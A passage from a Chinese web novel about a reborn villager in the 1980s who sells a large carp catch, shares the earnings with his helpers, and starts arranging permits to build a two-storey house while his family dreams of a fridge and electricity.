铁牛和赵老头轮流将鱼倒进专用桶过秤,老张和小王则把称好的鱼舀进卡车水箱。 等一桶鱼倒腾干净,再称空桶的重量,两数相减得出净重。 江涛则负责在旁边逐笔对账。 一时间,院子里只剩搬动水桶的哗啦声、鱼的扑腾声和几人偶尔的报数声。 最终,所有鲤鱼过完秤,各桶净重加在一起,总计一千零二十八斤。 “好家伙,真是一千多斤!” 刘主任看着手里的记录本,脸上笑容更盛。 鲤鱼是招待贵宾的好菜。 这批货质量上乘,数量又足,足够招待所用好一阵子了,甚至还能匀给兄弟单位做做人情。 “涛子,这鲤鱼按两块一斤,没问题吧?”刘主任问。 “没问题,刘主任您说了算。”江涛点头。 “行,一千零二十八斤,两块一斤,总共是两千零五十六块。咱们老规矩,零头抹了,算两千一百块,怎么样?”刘主任很是爽快。 “行,谢谢刘主任照顾。” 这个价格比市价高,还反向抹零,多给了四十四块。 江涛自然没有意见。 “另外,” 刘主任接着说道,“高主任那边的一百斤,我也一起拉过去,免得你再跑一趟。钱我一起结给你,回头我跟高主任再算,你看行不行?” “那太麻烦您了,刘主任。”江涛没想到刘主任这么周到。 “不麻烦,顺路的事。” 刘主任摆摆手,从随身皮包拿出一沓崭新的百元大钞,数了二十一张递给江涛。 “这是两千一,你点点。” 江涛接过二十一张钞票。 沉甸甸的,是新版的一百元,蓝黑色的工农兵图案,代表着这个时代最大的面额。 “谢谢刘主任了。您等等,我给您拿几条最大的,您带回去尝尝鲜。”江涛说着,就要去捞鱼。 “哎,不用不用!” 刘主任连忙拦住,笑道,“你这鱼我拉回去,还能少了我吃的?留着给家里人补补。咱们之间不讲究这个。” 他转头看了一眼卡车水箱里挤挤挨挨的鱼,满意点点头,“下次有货,直接给我打电话。” “刘主任,稍微休息会儿再走。” 江涛说着,让江招娣到小卖部买了几瓶汽水。 “刘主任,小王师傅,赵叔,铁牛,老张叔,都喝口水,歇会儿。” “哎,谢谢涛子。” 几人也确实渴了,接过汽水,仰头咕咚咕咚灌了几口,冰凉的甜意顺着喉咙下去,驱散了搬运的燥热。 这时,林月柔从屋里拿出一篮子鸡蛋,“刘主任,自家鸡下的,不值几个钱,您带回去尝尝。” 最近家里顿顿鱼肉,这鸡蛋就攒下来不少。 “这怎么好意思?” 刘主任连忙摆手,“又喝汽水又拿鸡蛋的,倒像我来打秋风了。” “刘主任您这话说的,” 江涛笑着接过话,“您这么照顾我们生意,几个鸡蛋算什么?您要是不拿,下次我们可不好意思再麻烦您了。” 刘主任哈哈一笑,也不再推辞,让小王把鸡蛋放到驾驶室。 看着江涛两口子待人接物周到妥帖,刘主任心里对他们的好感增添了几分。 不骄不躁,处事周到,关键是手里有硬货。 这样的合作伙伴值得长期来往,所以他才会反向抹零。 “涛子,我们走了。” “好,下次再来。” 看着卡车远去,消失在村道尽头,江涛几人才彻底松了口气。 看着手里那厚厚一沓,散发着油墨清香的钞票,江涛心里踏实又滚烫。 两千一百块! 家里的存款,终于突破万元大关! 这个曾经遥不可及的目标,短短几天竟真的被他实现了! 第76章 分钱 看着江涛手里厚厚一沓钞票,老张忍不住咂咂嘴。 “涛子,你可真是这个!” 他竖起大拇指,“这一天就挣两千块,放在咱们村那可是头一份!往后你就是咱们村的这个了!” 老张指了指天,意思是“头一号人物”。 铁牛和赵老头也咧着嘴笑,高兴之情溢于言表。 虽然钱是涛子挣的,但他们是跟着涛子干的,有他们的一份功劳,心里也自豪得很。 江涛笑着摇摇头,“张叔,您太抬举我了,运气好罢了。” 他转身走进堂屋,拿出之前准备好的账本和笔,对铁牛和赵老头招招手,“铁牛,赵叔,过来一下,把今天的账算算分钱。” 两人连忙跟过去。 江涛在纸上记下两笔,“今天鲤鱼卖了两千一百块。按照咱们昨晚说的规矩,铁牛,赵叔,你们各得一成,那就是每人二百一十块。” 他从那沓钱里数出四百块,又从口袋掏出二十块,分成两份,分别递给铁牛和赵老头。 “拿着,这是你们今天的辛苦钱。” “二百一?!” 铁牛接过那两张一百块一张十块的钞票,手都有些发抖,憨厚的脸上满是难以置信。 他这辈子都没一次性拿过这么多钱! 昨天定规矩时听一成觉得多,但真拿到手里,感觉完全不一样! 这可是实实在在的二百一十块! 他干几年也攒不下这么多啊! “这、这太多了……” 铁牛声音都有些哽咽了。 赵老头也紧紧攥着手里的钱,手指因为用力而有些发白,眼圈微微发热。 他没想到江涛这么快就兑现承诺,而且分文不少。 二百一十块! 比他打半年鱼挣得都多! 跟着涛子,是真的有奔头! “涛子,这……我……” 赵老头激动得不知道该说什么好。 “行了,都拿着,这是你们应得的。” 江涛正色道,“咱们一起流汗捞的鱼,卖了钱就该一起分。以后好好干,日子会越来越好。” “嗯!涛子,你放心,以后我铁牛这条命就交给你了!”铁牛用力拍着胸脯保证。 “对,涛子,我老赵以后就跟着你干了!”赵老头也激动地表态。 老张在旁看得眼都直了,心里像有一百只猫爪在挠。 二百一十块啊! 就这么给出去了! 涛子真是太大方了! 他心里那个羡慕嫉妒啊,恨不得自己也能跟着涛子一起打渔。 江涛又点出十块钱,递给老张,“张叔,今天又辛苦您了,这是您的辛苦费。” “哎哟,谢谢涛子!不辛苦,不辛苦,应该的!” 老张连忙接过钱,脸上笑开了花,小心翼翼地揣进怀里。 加上昨天和今天的跑腿费,他已经在江涛这挣了十七块了! 这得编多少筐才能挣回来啊! 要不,以后也跟着江涛混? 还编什么破筐啊! 跟着涛子打渔,随便分点都比编筐强百倍! 他脸上堆起讨好的笑容,试探道:“涛子,你看你这边人手够不够?要不,以后我也跟着你干?我力气虽比不上铁牛,但推车搬东西跑个腿啥的,绝对没问题!我也不要一成,给点辛苦钱就行!” 赵老头一听这话,心里顿时不舒服了。 老张这算盘珠子都快打到人脸上了。 前两天还只是帮忙推车,今天就想直接入伙了? 想得倒美! 涛子这边有他和铁牛就够了。 这老张滑不溜丢的,谁知道安的什么心? 他当即冷哼一声,“老张,你不是还要编筐卖钱吗?你那手艺丢了多可惜。我们这可是在水里讨生活,又苦又累,还要看老天爷脸色,比不上你编筐安稳。你还是守着你的老本行吧,别到时候风吹日晒的,挣不到钱还耽误了你编筐。” 老张被赵老头这么一呛,脸上有些挂不住,但他脸皮厚不以为意。 “老赵头,看你说的。涛子有本事,跟着涛子还怕挣不到钱?风吹日晒怕什么,咱们庄户人还怕这个?我是真心想跟着涛子干,出把子力气。涛子,你看……” 他眼巴巴地看着江涛,等着江涛表态。 只要能入伙,哪怕少分点,也比现在强。 “这个……” 江涛有些为难。 铁牛和赵老头是他目前的核心帮手,各有分工。 这老张属于机动人员,确实也帮了忙,比如推车跑腿。 但打渔的核心环节,比如看鱼、下水、撒网,他暂时还插不上手。 可话说回来,如果最近的情报都像这两天一样,是这种大批量的渔获,那运输、搬卸、看管确实需要人手。 铁牛和赵老头都下过水,不可能一直干这些杂活。 可能还真需要老张这样能跑腿,力气也还可以的人来专门负责后勤杂务。 但他要是加入进来,怎么分? 也给一成? 那铁牛和赵老头肯定会不舒服,毕竟出力多少不一样。 可如果只给辛苦费,老张现在可能高兴,但架不住时间长了,看到铁牛他们分得多,心里能平衡? 这反而可能埋下隐患。 “涛子,你不是要建新房吗?” 赵老头忽然开口。 他看出江涛为难,也明白老张的心思,更清楚直接让老张入伙打渔不合适,便递了个台阶。 “既然老张想跟着你干,不如先让他帮忙盖房子。这盖房子也需要人手,跑腿、搬材料、搭把手,这些活老张都能干。你也正好看看他干活怎么样,踏实不踏实。房子盖好了,到时候再说。” 赵老头知道老张这是盯上打渔的油水了,轻易摆脱不了。 但就这么让他加入打渔核心,他和铁牛都不愿意。 不如先让他参与盖房,过渡一下,也算是一种考察。 要是老张干活踏实,以后可以适当安排点打渔相关的杂活。 要是偷奸耍滑,那盖完房子也就顺理成章不用他了。 江涛一听,这个台阶给得好! 赵叔不愧是老江湖,考虑周全。 “张叔,你觉得如何?我这边确实要盖新房,正缺人手。盖房子也是体力活,要搬砖、和泥、递材料,还要跑腿买这买那。” “你要是愿意,就先过来帮忙盖房子,工钱我按天给你算,或者看情况给个总数,肯定不让你白干。等房子盖好了,咱们再看情况,行不行?” 老张一听,心里有点嘀咕。 他主要是想跟着打渔分钱,盖房子虽然也能挣钱,但肯定没打渔来钱快来钱多。 不过,涛子大方,刚才那二百一十块的分成,其实严格算,应该分两百零五块六毛。 毕竟,那多出来的四十四块是人家刘主任看在江涛面子给的额外心意,并非真正的卖鱼钱。 但涛子还是按整数给的。 这说明涛子不是小气人,而且守信用。 盖房子虽然辛苦,但跟着涛子干,工钱肯定亏待不了。 再说,这不也是个表现机会吗? 先把房子盖好了,让涛子看看自己的能耐,以后说不定就能跟着打渔了。 “没问题啊!” 老张立刻拍着胸脯应了下来,“涛子,你放心,盖房子这事我在行!别的不说,力气我有,跑腿我更在行!到时候你说咋干就咋干,保证给你把房子盖得又快又好!” “行,那这事儿就说定了。等手续办下来,咱们就开工。” 江涛心里也松了口气。 这样既安抚了老张,也没让铁牛和赵老头心里不舒服,还给盖房找了个得力帮手,一举多得。 第77章 这小子是真发了 江涛看了看手表,下午两点半。 时间还早,他打算去乡里把建房申请和地皮手续的事打听清楚。 毕竟,明天还有明天的事,盖新房也不能耽搁了打渔。 也多亏现在有了铁牛和赵老头这样的帮手,能帮他分担不少事。 “铁牛,赵叔,我打算去乡里把建房的初步手续问问清楚。” 说着,江涛就走到院墙边推上自行车。 铁牛跟上来,“涛子,我跟你一起去,顺便也看看砖瓦木料,我心里好有个数。” “涛子,如果只是打听情况,那不如先去找一下李支书。” 赵老头经验老道,提议道,“他当了这么多年支书,对村里建房批地这些事门清,流程规矩他都懂。” “让他给参谋参谋,该准备啥材料,走什么程序,免得你们去了乡里抓瞎,多跑冤枉路。” “是啊涛子,赵老头说得对。” 老张急于表现,立刻附和,“找李支书问问,他一句话顶咱们跑半天。先把村里这关过了,乡里那边就好办多了。” 对于老张的插话,赵老头心中微微有些不悦。 但想到他刚被安排去盖房,也就没小题大做。 他抽了一口水烟,“涛子,去找李支书问问,我估摸着,这地皮的事也得先在村里有个说法。” “对啊。” 江涛一拍脑门,差点把这茬忘了。 在村里批宅基地,或者原址翻建,首先得村支书开证明,村里认可了才行。 而且,建房地点合不合村里的规划,有没有邻里纠纷,都得先在村里解决。 乡里那边主要是审批宅基地使用和规划。 “那我们去李支书家一趟。” 江涛骑上自行车,带上铁牛,两人直奔李支书家。 到了院门口,李富贵刚从村公所回来不久,正在院子里收拾农具。 这年头,村干部大多不脱产,一半时间在村公所处理公务,一半时间干自家的活,农忙时节更是以自家农活为主。 “李支书,忙着呢?”江涛笑着打招呼。 “哟,涛子,铁牛,你们怎么来了?快进来坐。” 李富贵放下锄头,热情地招呼他们进屋,还让老伴倒了两碗茶。 “李支书,我们就不多坐了,有个事想请教您一下。” 江涛开门见山,“我打算把家里那老土屋翻盖一下,盖个新房。这不,向您来请教请教,这村里批地和乡里办手续,具体该怎么弄?” 李富贵一听,笑着点点头,并不惊讶。 这几天江涛弄出这么大动静,挣钱盖新房是迟早的事。 “想盖新房是好事啊!你那老屋确实该翻新了。手续嘛,倒也不复杂。” “首先,你得在村里开个证明,说明你家老屋年久失修已成危房,需要原址翻建,或者如果地方不够,想申请旁边的空地也行。这个证明我就能给你开。” “然后拿着这个证明,还有户口本,去乡里的土管所和城建办,申请宅基地使用证和建房许可证,批下来你们就能开工了。” “乡里现在对原址翻建管得不算太严,只要不占耕地不违规,一般都能批。” “明白了。谢谢李支书指点。”江涛心里有了谱。 他家宅基地面积确实还可以,这在很大程度上是沾了他父亲的光。 虽然老爷子早年也蒙受过冤屈,但平反后,乡里和村里在分宅基地时,多少还是照顾了一下。 分的地基比较方正,也相对宽裕。 只是上辈子他自己不争气,才把好好的日子过成那样,连房子都破败不堪了。 “对了,涛子,你打算盖个什么样的?也起像我这样的三间青砖大瓦房?” 李富贵随口问道。 他估摸着江涛现在有钱了,肯定要盖村里最好的青砖瓦房。 江涛和铁牛对视一眼,笑道:“李支书,我打算盖个二层半的小楼房,红砖的,楼上楼下宽敞点。” “二层半楼房?红砖的?” 李富贵端着茶碗的手停在半空,眼睛一下子瞪大了。 “涛子,你……你开玩笑的吧?别说咱们村了,这十里八乡还没听说过谁家盖二层楼房的!” “那得花多少钱啊!地基、材料、人工,样样都要多花钱!” “而且,楼房跟平房可不一样,技术、用料都得更讲究,不然可不稳当。你可想好了?” 他是真被江涛这想法给惊着了。 本以为江涛最多盖个敞亮的青砖瓦房,没想到这小子心这么大,直接要盖楼房! 这可是开天辟地头一遭! 他这当支书的都没敢想! “李叔,主要家里孩子多,丫头们都大了,挤在一起实在不像样。盖个楼房,楼上楼下房间多点,住得也宽敞些。”江涛简单解释道。 李富贵心中咂舌不已。 这才几天功夫,这小子不但置办了家当,挣了满堂屋的家具,现在居然开口就要盖二层楼房! 打渔真这么挣钱? 还是说,颜领导私下给了他大笔支持? 李支书心里痒痒的,就想开口问个究竟。 这时,他家老婆子端着茶壶过来续水,正好听到几句,见自家老头子那副满脸好奇的样子,立刻明白他想问什么。 她不动声色地咳嗽了两声,对江涛和铁牛笑道:“盖新房好,盖新房是喜事!尤其这二层楼,在咱们村可是头一份,是添丁进口日子红火的好兆头!” “涛子,你这是要给咱们村争光啊!铁牛,你也跟着涛子好好干,以后肯定也能住上大房子!” 说着,她悄悄瞪了李富贵一眼。 “老头子,人家涛子还急着去乡里办事呢,你赶紧把证明给人家开了,别耽误了正事。” 李富贵被老婆子这么一打岔,到嘴边的话又咽了回去。 “对对,我这就给你开证明。” 说着,起身去屋里拿出纸笔和村里的公章,刷刷几笔写好了证明,盖上鲜红的大印。 “涛子,拿好了。到了乡里就按我说的,先去土管所,再去城建办。有啥不明白的,可以问里面的同志。” “哎,谢谢李支书!太麻烦您了!” 江涛接过证明,仔细看了看,小心叠好放进怀里,又连声道谢。 “不麻烦,应该的。你们快去忙吧。” 江涛这才骑上自行车,带着铁牛走了。 看着两人远去的背影,李富贵站在院门口张望,嘴里忍不住嘀咕。 “乖乖,这小子是真发了……这才几天啊……” “行了,别看了,人都走远了!” 他老婆子从屋里出来,没好气地数落他,“你呀,这么大岁数了,怎么一点眼力见都没有?别人家这些挣钱盖房的事,是你能随便打听的吗?” “问多了,让人家怎么想?还以为你眼红,或者想打什么主意呢!涛子现在有本事了,咱们能帮就帮一把,结个善缘,其他的少打听!” 李富贵被说得脸上有些挂不住,讪讪地摸了摸鼻子。 “我这不是好奇嘛。咱们村第一个要盖楼房的,我这当支书的,还不能好奇一下?” “好奇放心里!嘴上把门!” 他老婆子又瞪了他一眼,“赶紧收拾你的农具去,别在这儿杵着了!” 李富贵无奈摇摇头,转身回了院子,心里却对江涛这小子,又高看了一眼,也更多了几分好奇和期待。 这小子,到底还能折腾出多大动静来? 这楼房真盖起来,那可是给滨江村长脸了! 第78章 莫欺老年穷 江涛和铁牛刚到家,赵老头和老张就迎了上来。 “涛子,怎么样?李支书怎么说?好办吗?”赵老头关切问道。 老张也眼巴巴凑过来,“是啊,涛子,这事怎么个情况?” 赵老头心里对老张这副好表现,争先恐后的劲头有点不舒服。 但想想到时盖房老张也要帮忙,现在人家多问问也是正常。 “应该不麻烦。” 江涛把情况简单说了一下,“李支书给开了证明,明天我去乡里土管所和城建办跑一趟,把手续递上去,等审核就行。李支书说原址翻建,问题不大。” 赵老头点点头,“那就好,先把村里的关过了就好办。明天我跟你一起去乡里,我熟人多,也能帮着问问。” “行,那就麻烦赵叔了。”江涛应道。 老张一听明天就动,更加积极了。 “涛子,那……那我什么时候过来帮忙?是明天就开始吗?” “张叔,不急,等乡里手续批下来,咱们备好料再动工。到时候肯定叫你。”江涛笑道。 “好嘞!好嘞!” 老张眉开眼笑,“那你们先忙着,我先回家。有什么需要跑腿的,随时喊我,我随叫随到!” 说完,乐颠颠地转身走了,脚步都轻快了几分。 他心里美滋滋的。 终于找到一个好营生了。 以后再也不用整天窝在家里,编那劳什子的破筐了。 又累又卖不上价。 老张高高兴兴回到家。 一进门,正在院子里削竹子的儿子就皱着眉头埋怨。 “爹,你这一下午又跑哪儿去了?家里这么多筐还等着编呢。你老不在家,这活儿啥时候能干完?” 老张的好心情被儿子一盆冷水浇下来,顿时有些不悦。 但想到今天挣了十块钱,底气立刻足了。 他从怀里掏出江涛给的十块钱,往儿子面前一甩,带着几分得意。 “编筐?你爹我现在是干大事的人!看见没?十块钱!一下午的跑腿钱!不比你在家吭哧吭哧编筐强?” 他儿子看着那崭新的十块钱,愣了一下,态度缓和了些。 “那爹你也不能老往外跑啊,家里活儿总得有人干……” 这时,老张老婆子从灶间出来,手里拿着锅铲,听了爷俩的对话,撇撇嘴,不咸不淡道: “哟,挣了十块钱就了不起了?也不知道是真是假。你可别瞎折腾,最后没挣着钱,还拖累小辈。安安生生在家编筐,挣得少是少点,可稳当。” “你懂个屁!” 老张被老婆子的话激起了火气,脖子一梗,声音也高了几分。 “莫欺老年穷!以前是没机会,现在机会来了!跟着涛子干,以后挣钱的日子在后头呢!” “编那破筐,编到死能挣几个?你看人家涛子,才打几天鱼,现在都要盖二层楼房了!这就是本事!我跟着这样的人干,还能差了?” 他老婆子被噎得说不出话,儿子也沉默了。 十块钱实实在在地摆在眼前,由不得他们不信。 江涛这几天在村里的动静,他们也不是没听说。 又是几百斤鲫鱼,又是上千斤鲤鱼,现在还要盖二层楼房? 天呐,那可是楼房! 这村里谁家敢想这个? 儿子默默削着竹条,但心思已不在这上面了。 或许,爹跟着涛子干,真是个出路? “行行行,你能耐,你干大事去!” 老婆子装作气呼呼,转身回了灶间,但锅碗瓢盆的动静却小了许多。 娘俩的态度转变,老张还能不清楚? 嘿嘿,没想到跟着涛子干,不光有钱挣,在家里的地位也提上来了。 而另一边,赵老头从江涛家回到自己家。 一进门,赵老太就满脸堆笑地迎了上来,又是递毛巾擦汗,又是端茶倒水。 那嘘寒问暖的殷勤劲儿,比伺候亲爹还周到。 看她那副刻意讨好的模样,赵老头扬眉吐气,却故意板着脸,端起搪瓷缸子慢悠悠地喝了口茶。 这才“咳咳”清了清嗓子,装作不甚在意地从怀里掏出三张钞票往桌上一放。 “行了,别演了,知道你惦记着。这是今天分到的,两百一十块,你收起来。” 赵老太眼睛“唰”地亮了。 动作麻利地拿起三张崭新的钞票。 果然是二百一! 她倒吸一口凉气,“天呐!老头子,这、这么多钱?都是你跟涛子挣的?” “嗯。” 赵老头从鼻子里应了一声,努力压下嘴角想要上扬的冲动,故作平淡道,“是啊,这只是开始,以后还有。看你那一惊一乍的样儿,没见过世面。” 他端起茶缸,又喝了一口,掩饰那点小得意。 “哎哟喂!我的老天爷!” 赵老太这回是真激动了,捧着钱的手都有点抖。 “哎呀!我家老头子!你这可真是太了不得了!这才一天,就挣这么多!以后那还得了?涛子是真有本事,你也有眼光!我这心里啊,踏实!” 说是这么说,但赵老太心里却在嘀咕。 要不是她盯着老头子跟着江涛,今天哪能分得这两百多块? 不过,老头子出了力气,总归要把马屁拍好。 谁叫这糟老头是头犟驴呢,得顺毛捋。 赵老头被赵老太这一通情绪价值输出,弄得心里那叫一个舒坦。 脸上强装的淡定也维持不住了,嘴角忍不住翘了起来。 只是还故作矜持地摆了摆手。 “行了行了,少拍马屁。以后踏实日子还在后头呢,好好收着钱,别声张。” “哎!放心,我懂!” 赵老太脸上的皱纹都笑成了菊花。 藏好钱,她忽然想起一事,“对了,老头子,差点忘了跟你说。儿子托人捎信来,说大孙子马上放暑假了,想送过来,让咱们帮着带一暑假,也陪陪咱们。” 要是以前,赵老头肯定乐呵呵地答应,巴不得孙子来。 可这会儿,他跟着江涛干得风生水起,浑身是劲,哪里肯被带孙子这种事绊住手脚? 他想都没想,脖子一梗,“带什么带?哪有空!我现在是跟着涛子干大事的人,天天有事要忙,风里来雨里去的,哪有工夫给你看孩子?” “再说了,那小子皮得很,我可没那精力管。你要带你自己带,我可不管。” 赵老太一听,眼珠转了转。 要是以前,老头子敢这么推脱,她早骂上了。 可现在,她看了看自己藏钱的地方,又看了看老头子那神采飞扬的样子,心里那杆秤早就偏了。 “我也不带!” 赵老太立刻表态,语气比赵老头还坚决,“我现在得在家,给你把一日三餐伺候好,让你吃得饱饱的,干活有劲!还得帮你收拾利索,不能耽误了正事!” “孙子来了,淘气得很,我还得分心,万一磕了碰了,儿子儿媳还要埋怨。” “不行不行,不能让他来搅和!我这就托人捎信回去,就说咱们最近忙得很,没空,让他们自己想办法!” 赵老头一听,愣住了。 没想到老婆子这次竟然没站在儿子那边,反而旗帜鲜明地支持他。 大半辈子了,老婆子啥时候这么向着他过? 不都是围着儿子孙子转吗? 看着赵老太那副“一切以老头子事业为重”的认真表情,他心里感慨万千。 这跟着涛子干,不光挣了钱,连在家里这地位,都水涨船高了啊! 哈哈,这感觉真不赖! 第79章 冰箱 天色渐渐暗了下来。 林月柔带着几个稍大的丫头在灶间忙活着晚饭。 “涛子,咱们明天什么时候去乡里递申请?” 铁牛还没走,他心里惦记着盖房子的事。 楼房不比平房,讲究多,他得趁着今晚,多跟涛子商量商量细节。 “明天看情况再说吧。” 江涛含糊其辞。 他得等明天的情报提示出来再定。 要是情报提示在上午,那就下午抽空去乡里办事。 要是情报偏下午,那就上午去。 反正不能耽误了打渔。 盖房子是长远大事,但眼前挣钱吃饭的营生也不能停。 情报,是他安身立命的根本,必须优先保障。 “那行。” 铁牛嘴上应着,心里却有点纳闷。 这都确定要盖了,为何还要看情况呢? 不过,涛子说什么就是什么,他照着执行就是了。 他也没再多问,只是心里盘算着盖楼的各种细节。 本来,盖个青砖大瓦房,他一点问题都没有。 但这二层半小楼房,他还真没主持过,压力有点大啊。 铁牛心里有点发怵。 但想着这能给江涛节省不少工钱,他又觉得自己应该顶上去。 还好江涛说了,要请县里的技术员把关,应该没问题。 这么一想,心里又踏实了些。 “对了,铁牛。” 江涛看向铁牛,“盖楼房去乡里审批,是不是还要准备图纸之类的?” 他隐约记得,楼房和平房的审批不一样,可能会多一道手续。 要报个设计图或简单说明,让乡里看看高度结构有没有问题,别到时候盖得不安全。 “图纸?” 铁牛一愣,“好像是的吧?我听我舅舅提过,盖高点的房子,是要画个图给上面看,免得瞎盖出事。” “那你懂这个吗?”江涛追问。 “我只会看,不会画。” 铁牛不好意思地挠挠头,“不过,我舅舅当年盖供销社二楼,是乡里建筑队的师傅画的图纸。就是些线条框框,标着尺寸,哪儿是墙,哪儿是门,多高多宽。家里应该还留着一张当年他随手带回来的废草图,我回去找找,看看能不能找到。” “行,那你找来。” 江涛点点头,“到时就参照那个,换上咱们自家的尺寸标上去,应该能应付审批。反正就是个示意图,让上面知道咱们不是乱盖。” “这能行吗?” 铁牛有些犹豫。 毕竟,公家的房子,结构用途都跟自家住房不同。 “有什么不行的?” 江涛倒不担心。 虽没亲手盖过楼,但上辈子他走南闯北,见识过不少后世农村的自建楼房,对房子的户型、采光、动线都有些印象。 只要不是太出挑的设计,相信应付乡里的审批完全足够了。 等真正开工,还有县里的技术员把关,真有什么不合理的地方,现场改也来得及。 “好!涛子,你脑子活,我都听你的!” 铁牛憨憨笑着,心里踏实不少。 有涛子拿主意,有技术员把关,他只要把活干好就行。 说话间,晚饭准备好了。 腌鱼、腌虾、蒸螃蟹、炒青菜,还有一盆蛋花汤。 天气越来越暖。 前些天江涛弄回来的鱼虾,林月柔怕放坏了,一部分新鲜吃了,一部分都用盐仔细腌制起来。 铁牛本来要回去吃,江涛没让他走,招呼他一起上桌。 “就在这儿吃,添双筷子的事。回去还得让大娘单独给你做,多麻烦。” 铁牛推辞不过,也就留下了。 他心里热乎乎的,觉得涛子真是拿他当自己人。 吃完饭,天色已暗。 铁牛也告辞回家,屋里只剩下自家人。 林月柔和几个丫头手脚麻利地洗碗擦桌子,都没江涛插手的份。 他想帮忙,立刻被女儿们“赶”开了。 “爸爸,你赶快休息,累了一天了!” 江招娣抢过他手里的抹布,“这些活儿我们干就行。” “我也来帮忙扫地!”江盼娣也争着表现。 “爸爸,你坐那儿,我给你捶捶背!” 老三江来娣也挤过来。 看着几个懂事又活泼的女儿,江涛心里暖洋洋的。 一天的疲惫似乎都消解了不少。 他笑着在椅子上坐下,“行行行,听你们的,我休息。” 不过,他还是没闲着,起身去打了盆热水准备洗脚解乏。 林月柔见他端水,连忙过来要帮他洗,被他笑着推开了。 “我自己来就行,你也累了一天了,坐下歇会儿。” “月柔,这是两千块,你收好。” 泡脚的功夫,江涛从怀里拿出一沓钱。 “不是分出去四百多吗?应该没有两千块了呀?” 林月柔有些疑惑。 这次卖鲤鱼得了两千一百块,分给铁牛和赵老头四百二十块,又给了老张十块辛苦费,应该只剩下一千六百七十块才对。 “我身上还有点,给凑了个整。” 江涛身上原来有九百三十块,这次拿出三百三十块,凑齐两千给了林月柔,自己身上还剩下六百块现金,留着日常开销和应急。 林月柔接过钱,转身打开橱柜,从里面取出之前藏的八千块。 两项相加,正好是一万块! 厚厚的一沓钞票,那种冲击感让她头脑发懵,手也有些发抖。 这是多大一笔钱啊! 她以前想都不敢想! 旁边几个稍大的丫头,也好奇地凑过来看,一个个惊讶地张大了小嘴,脸上全是不可思议和崇拜。 一万块! 那能买多少糖,多少新衣服,多少好吃的啊! 爸爸太厉害了! 看着妻女激动又不知所措的样子,江涛心里既满足又酸楚。 上辈子,他让她们吃了太多苦了。 这辈子,一定要让她们过上好日子,要让她们为拥有这样一个家而感到自豪。 “这只是开始,以后会更多。月柔,你收好了。日常开销该花就花,别太省着。丫头们长身体,喜欢什么就给她们买点,零嘴、头绳、小人书都行。”江涛叮嘱道。 “哎,我知道。” 林月柔小心翼翼用布把钱仔细包好,锁进橱柜最里层。 江涛知道,她嘴上答应,可节俭惯了,肯定还是舍不得多花。 不过没关系,反正自己身上还有钱,家里一应物资,比如油盐酱醋、孩子零用、人情往来,都由他来出就是了。 “对了,天气越来越热,鱼啊肉的不好存放,我看看乡里有没有冰箱卖,有的话买一个回来,夏天放东西方便,能存久点。” 江涛想起这事。 有了冰箱,家里的伙食能改善不少,也免得月柔天天为食物保鲜发愁。 “什么叫冰箱?” 林月柔听都没听过这个词,一脸茫然。 几个丫头也眨巴着大眼睛,好奇地看着爸爸。 江涛这才想起,这年头,冰箱在农村还是绝对的稀罕物,别说见了,听都没几个人听过。 他笑着解释,“就是一种机器,插上电,里面特别冷,像冬天一样,能把肉、菜、鱼放进去,好多天都不坏,还能冻冰棍、冰西瓜吃。” “哇!这么厉害!还能自己做冰棍?” 江盼娣一听就来劲了,眼睛闪闪发亮。 “真的吗?爸爸,我们家也要有那个冰……冰箱?”江招娣也满是期待。 “看情况,有合适的就买一个。” 江涛笑着摸了摸女儿们的头。 明天去乡里递交建房申请,顺便买点吃的用的,再打听打听冰箱的价钱。 家里现在有了点底子,也该添置点像样的家当了,提高一下生活质量。 “可……可家里没电啊。” 第80章 楼房图纸 “可……可家里没电啊。” 林月柔想起一个问题,村里还没通电呢。 只有靠近乡里那边几个富裕村子才拉了电线。 就算买了冰箱,也没法用。 江涛一拍脑门,“哦,对,差点忘了这茬。” 光想着改善生活,却忘了基础设施了。 “没事,等咱们新房盖起来,我想想办法,看看能不能让村里通上电,或者自己出钱从最近的变压器接过来。到时候电灯、电视、冰箱,咱们家都要有!” “电视?!” 几个丫头又听到了一个新词,更加好奇了。 “电视是啥?也能看小人书吗?”江盼娣天真地问。 “电视啊,比小人书厉害多了,里面有小人在动,能说话,能唱歌,还能看外面的世界。” 江涛简单描述了一下,引得几个丫头更加向往。 “爸爸,那我们什么时候能有电,有冰箱,有电视啊?” 江招娣充满憧憬地问。 “快了,等咱们新房盖好,爸爸就想办法。一步一步来。” 江涛看着几个丫头亮晶晶的眼睛,心里充满了动力。 他要给她们的,不只是一个遮风挡雨的房子,更是一个现代化、舒适、充满希望的家。 这不仅仅是改善物质条件,更是对她们眼界和未来的投资。 林月柔听着,心里又高兴又有些发虚。 电灯、电视、冰箱……这些东西,她以前连想都不敢想,觉得那是城里人才有的东西,离她们乡下人太遥远了。 可现在,从自己丈夫嘴里这么自然地讲出来,又好像一步步变得触手可及了。 她看着江涛,觉得这个男人从那天打渔回来后,就像变了个人似的。 比以前更有主意,也更有干劲了,说起话来也带着一种让人信服的力量。 可真要实现这些,得花多少钱、费多少劲啊? 她心里没底,可看江涛那笃定的样子,又莫名觉得安心。 “行了,先别想那么远的事。” 江涛见大家情绪都被勾了起来,笑着摆摆手。 “先把眼前的事办好。明天我去乡里递申请,拉电和冰箱的事先打听着,能办的就办,不能办的咱们再想办法。” “那我去给你把衣裳熨一熨,明天出门穿得精神些。” 林月柔说着就要起身。 “别忙了,明天随便穿件干净的就行,又不是去相亲。” 江涛拉住她,“你也早点歇着,明天家里还有一堆事呢。” 林月柔抿嘴笑了笑,没再坚持。 几个丫头又围在江涛身边叽叽喳喳问了一会儿,什么“电视里的小人有多大”“冰箱里的冰棍甜不甜”。 江涛一一耐心回答,直到她们打起了哈欠,才被林月柔赶去洗漱睡觉。 夜深了,土屋的灯火熄了,小院沉入安静的夜色里。 远处传来几声犬吠。 江涛躺在床上,看着头顶模糊的房梁,脑子里却没停。 明天去乡里,要办的事不少。 递建房申请是头等大事。 还得顺便打听一下冰箱的行情,以及给村里拉电的可能性。 楼房一旦批下来,砖、水泥、钢筋、木材这些就得提前张罗起来。 还有电的事,也得找乡里供电所的人问问路子,看是等村里统一规划,还是自家申请单独接。 唉,一大堆事,也不知明天情报什么时候来,时间够不够用。 次日一早,天刚蒙蒙亮,江涛就起了床。 听到动静,林月柔和江招娣也赶紧跟着起来。 其他丫头还都在里屋睡着。 她俩赶紧忙活早饭。 林月柔生火熬粥,准备点心小菜,江招娣则帮忙摆碗筷。 很快,一锅热腾腾的白米粥端上了桌,配上发面饼、咸鸭蛋和一大盘腌鱼虾。 正吃着早饭,铁牛和赵老头前后脚进了门。 “涛子,今天是去打渔还是去乡里?” 两人都记挂着今天的事。 